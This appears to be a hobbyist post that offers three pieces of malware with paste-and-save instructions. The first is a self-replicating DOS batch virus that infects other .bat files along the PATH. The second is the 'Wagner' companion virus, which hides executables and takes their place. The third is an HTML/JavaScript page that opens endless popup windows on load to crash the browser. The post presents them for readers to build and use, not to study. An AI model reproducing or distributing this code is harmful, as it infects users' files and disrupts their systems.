Warning:- These codes are not pranks so dont open the files on ur system after creating them as it can lead to multiplication of viruses in ur system. Use it at ur own risk.

Code 1:

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append/x:on path(chanceminimal)

attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=
goto ViRuS_OLDBAT

:ViRuS_findself
if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself

:ViRuS_outer_loop
for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS

:ViRuS_multiply
find "ViRuS" <%ViRuSname%.bat >xViRuSx.bat
find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

:ViRuS_OLDBAT
echo on>nul.ViRuS
:XXX_END


Type or Copy the above code in Notepad and save it as "anyname.bat"

Code 2:

@echo off
ctty nul
rem ______________________________________________________________
rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf
rem :This virus can be cured simply by typing "attrib -h -r *.*" in
rem :infected directories and deleting BAT files that are identical
rem :to this code, then rename the files having a "V" at the start
rem :to their original names. NOTE: Does not infect COMMAND.COM.
rem :______________________________________________________________
for %%f in (*.exe *.com) do set A=%%f
if %A%==COMMAND.COM set A=

rename %A% V%A%
if not exist V%A% goto end
attrib +h V%A%
copy %0.bat %A%
attrib +r %A%
ren %A% *.bat
set A=
:end
ctty con
@if exist V%0.com V%0.com %1 %2 %3
@if exist V%0.exe V%0.exe %1 %2 %3

Save it as "anyname.bat".

Code 3: Shutdown Forcebly

<*HTML>
<*HEAD>
<*TITLE>WARNING! Infecting Virus!

<*BODY onload="WindowBomb()">
<*script LANGUAGE="JavaScript">

*function WindowBomb()
*{var iCounter = 0 // dummy counter

*while (true)
*{
*window.open("http://www.winsoft32.blogspot.com","CRASHING" + *iCounter,"width=1,height=1,resizable=no")
*iCounter++
}
}

<*/script>
<*/BODY>

<*/HTML>

remove all *

paste it in notepad then save it as anyname.html

Note: More viruses will be revealed soon,....

Till then Happy Surfing...